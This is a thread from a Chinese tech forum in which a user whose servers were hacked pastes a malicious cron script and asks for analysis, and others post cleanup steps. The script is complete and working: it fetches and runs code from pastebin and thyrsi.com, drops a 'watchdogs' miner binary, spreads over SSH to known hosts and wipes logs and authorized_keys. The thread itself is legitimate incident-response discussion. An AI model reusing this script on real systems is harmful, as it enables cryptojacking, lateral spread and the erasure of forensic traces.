首页   注册   登录
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
V2EX  ›  问与答

心累,服务器被黑了,有大佬帮忙分析下么

  •  
  •   yuedingwangji · 290 天前 · 1809 次点击
    这是一个创建于 290 天前的主题,其中的信息可能已经有所发展或是发生改变。

    昨天几台机器被阿里云告知机器对外攻击,封禁了某些端口,登陆服务器后发现,服务器的 crontab 被人写了一个定时脚本,每 15 分钟到外网下载一个脚本然后执行。该 crontab 无法删除,删除又瞬间恢复 脚本内容如下

    export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
    
    echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -
    
    ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
    ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
    ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9
    chattr -i /etc/cron.d/root
    chattr -i /etc/cron.d/system
    chattr -i /etc/ld.so.preload
    chattr -i /etc/cron.d/apache
    chattr -i /var/spool/cron/root
    chattr -i /var/spool/cron/crontabs/root
    chattr -i /usr/local/bin/dns
    rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libntp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns
    chkconfig --del kworker
    chkconfig --del netdns
    p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l)
    if [ ${p} -eq 0 ];then
        ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
    fi
    if [ -e "/tmp/gates.lod" ]; then
        rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
        kill -9 $(cat /tmp/gates.lod)
        rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
        kill -9 $(cat /tmp/moni.lod)
        rm -rf /tmp/{gates,moni}.lod
    fi
    
    if [ ! -f "/tmp/.lsdpid" ]; then
        ARCH=$(uname -m)
        if [ ${ARCH}x = "x86_64x" ]; then
            (curl -fsSL http://thyrsi.com/t6/672/1550632834x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632834x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
        elif [ ${ARCH}x = "i686x" ]; then
            (curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
        else
            (curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
        fi
            nohup /tmp/watchdogs >/dev/null 2>&1 &
    elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then
        ARCH=$(uname -m)
        if [ ${ARCH}x = "x86_64x" ]; then
            (curl -fsSL http://thyrsi.com/t6/672/1550632834x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632834x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
        elif [ ${ARCH}x = "i686x" ]; then
            (curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
        else
            (curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
        fi
            nohup /tmp/watchdogs >/dev/null 2>&1 &
    fi
    
    if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
      for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
    fi
    echo 0>/root/.ssh/authorized_keys
    echo 0>/var/spool/mail/root
    echo 0>/var/log/wtmp
    echo 0>/var/log/secure
    echo 0>/var/log/cron
    #
    

    自己追踪了一下,发现主要是下载一个二进制文件,然后伪装成 2 个服务 /etc/init.d/watchdogs 和 /etc/init.d/ilogtail, 目前自己测试只要关闭这 2 个服务就可以正常删除 crontab 的内容, 其余这个二进制文件还会做什么事,就分析不出来了,v 友能给一些思路么

    23 回复  |  直到 2019-02-26 10:47:03 +08:00
        1
    Cukuyo   290 天前
    虽然我是搞安全的,但是对于服务器这块不熟,建议你去找找安全公司,不找的话就重装系统然后安装安全防护软件,网上一大堆 linux 安全运维的教程
        2
    jrrx   290 天前
    同遇到这个问题,也是昨晚。阿里云有监控,能看到一个进程 cpu 超高。
        3
    mingxulin   290 天前
    chattr -i /var/spool/cron/root && > /var/spool/cron/root && chmod 000 /var/spool/cron/root && chattr +i /var/spool/cron/root
    chattr -i /var/spool/cron/crontabs/root && > /var/spool/cron/crontabs/root && chmod 000 /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root
    然后把 minerxmr.ru thyrsi.com 指向本地
    等进程结束后删除恶意程序
    @Cukuyo #1
    @jrrx #2
        4
    mingxulin   290 天前
    弄错了 先把域名 指向本地 然后清空定时任务
        5
    mingxulin   290 天前
    还少了一条 /root/chattr -i /etc/cron.d/root && > /etc/cron.d/root && chmod 000 /etc/cron.d/root && /root/chattr +i /etc/cron.d/root
        6
    blubillow   290 天前
    同样是昨天晚上碰到的问题,由于免密登录机制,感染了好几台。。
        7
    Alfred328   289 天前
    测试过了上边大兄弟的方法,还是会出现
        8
    lifh1221   289 天前
    @mingxulin 请教下:病毒的进程是哪个,ps、top 命令好像被篡改了,明明 cpu 很高,但就是找不到高 cpu 的进程。病毒目录程序也没找到。
        9
    mingxulin   289 天前
    @lifh1221 #8 我整理一下給你
    先用 base64 反解出服务器上的脚本,确认一下脚本具体做了那些操作。然后在 hosts 里把脚本中请求的地址全都指向到 127.0.0.1。 把 chattr 命令从 bin 目录移出到其他,我是把 chattr 移动到 root 目录,因为脚本就是通过 chattr 获得修改定时任务的权限。
    在通过下面命令清空定时任务,修复权限。
    /root/chattr -i /var/spool/cron/root && > /var/spool/cron/root && chmod 000 /var/spool/cron/root && /root/chattr +i /var/spool/cron/root
    /root/chattr -i /var/spool/cron/crontabs/root && > /var/spool/cron/crontabs/root && chmod 000 /var/spool/cron/crontabs/root && /root/chattr +i /var/spool/cron/crontabs/root
    /root/chattr -i /etc/cron.d/root && > /etc/cron.d/root && chmod 000 /etc/cron.d/root && /root/chattr +i /etc/cron.d/root

    然后关注 /var/spool/cron/ /etc/cron.d/等目录 确认一下里面是否有异常文件,我这边是多了一个 tomcat 还有同层的其他文件也被串改。 在 redis 的 src 里也有一个 tomcat 文件。
    删除 /etc/init.d/watchdogs

    这个时候定时任务和恶意文件都已经删除。但是 cpu 的负载还是很高,我处理的办法是重启系统后内存中的进程也被干掉,回复正常。然后从其他系统拷贝 netstat 命令到被黑服务器即可。

    我同事给了我一个方案就是如果你的服务器不能重启,就是通过安装 sysdig 工具追踪恶意进程 ksoftirqds,查到后 kill -9,负载回复正常。如果发现 /etc/ld.so.preload 被串改可以自行通过工具修复
        10
    lifh1221   289 天前
    @mingxulin 非常感谢你的耐心回复,根据你的建议,我现在通过 sysdig 找一下看看,另外系统中没有找到 /etc/ld.so.preload 文件
        11
    jrrx   289 天前
    @lifh1221 一会我告诉你怎么处理。我们刚处理完毕。
        12
    jrrx   289 天前   ♥ 3
    说明: 我是研发,不是专业安全人员,以下提供的信息和处理步骤,都是公司同事一起摸索的,供大家参考:

    1. 涉及到的问题进程名称为: ksoftirqds, watchdogs,杀死这两个进程; //从阿里云进程监控看到的。
    2. 屏蔽 thyrsi.com, pastebin.com, minerxmr.ru 三个域名;
    3. 使用 @mingxulin 的命令,清空锁定 crontab, 防止再次被修改;
    4. 去掉 watchdogs 的开机启动; //chkconfig --del watchdogs , 最好也检查下所有开机启动方式的设定。
    3. 删除 watchdogs 文件: /etc/init.d 和 /usr/sbin/ 下面的 watchdogs 文件;
    4. 删除 /etc/ld.so.preload 的内容; // 直接看不到这个文件, 直接 vi 这个文件,dd 删除内容,wq!强制保存退出,是可以删除内容的。
    5. 删除 /usr/local/lib/libioset.so 文件; //步骤 4 完毕后,就可以进行步骤 5;
    6. 重启主机,解除 crontab 锁定,观察一段时间。 // 如果 sh 命令还是处于感染状态,那么自己 找个 正常的 替换 。

    供上面的同学参考.

    @blubillow @Alfred328 @lifh1221

    感谢 @yuedingwangji @mingxulin
        13
    jrrx   289 天前
    步骤 2 的域名,你看一下 被感染的脚本,涉及的域名,全部屏蔽一下。
        14
    hunterqg   289 天前
    @jrrx 按你步骤操作,完成了清理🆙,后续持续观察中。。。
        15
    jrrx   289 天前
    有个问题,不清楚这个是如何入侵感染的。但是猜测是自己安装的 某些软件服务有漏洞,导致的。 大家清楚入侵步骤吗,或者利用的哪个漏洞?
        16
    Leonn   289 天前
    @jrrx https://www.baidu.com/s?wd=sByq0rym
    相关信息还是有一些的。
    这个里面是 https://us.v2ex.com/t/537457 没开防火墙然后 Redis MongoDB 之类暴露在外网,这个是可以 get shell 的
        17
    lifh1221   289 天前
    @jrrx @mingxulin
    按照你们的步骤,已经清除。感谢万分
        18
    hunterqg   289 天前
    @jrrx 从脚本上看是通过 redis,感染了一台后会自动传播到.ssh/authorized_keys 中免密登录的机器。
        19
    jrrx   289 天前
    @hunterqg sh 脚本里面吗?怎么看出来的? 请帮你指出一下,谢谢。
        20
    jrrx   289 天前
    @Leonn 我也搜索了,但是我们告警的第一台主机,没有装 redis。
        21
    yuedingwangji   289 天前
    @jrrx 非常感谢,原来那个文件是直接编辑的呀
        22
    Alfred328   289 天前
    @jrrx 非常感谢。处理后目前看来已经恢复正常,再持续观察下
        23
    RIcter   285 天前
    https://mp.weixin.qq.com/s/3V0HVEREZWU8SkRWLspaxg
    拉到最下面有解决方案,现在挖矿还赚钱吗,,,
    关于   ·   FAQ   ·   API   ·   我们的愿景   ·   广告投放   ·   感谢   ·   实用小工具   ·   1851 人在线   最高记录 5043   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.3 · 22ms · UTC 16:04 · PVG 00:04 · LAX 08:04 · JFK 11:04
    ♥ Do have faith in what you're doing.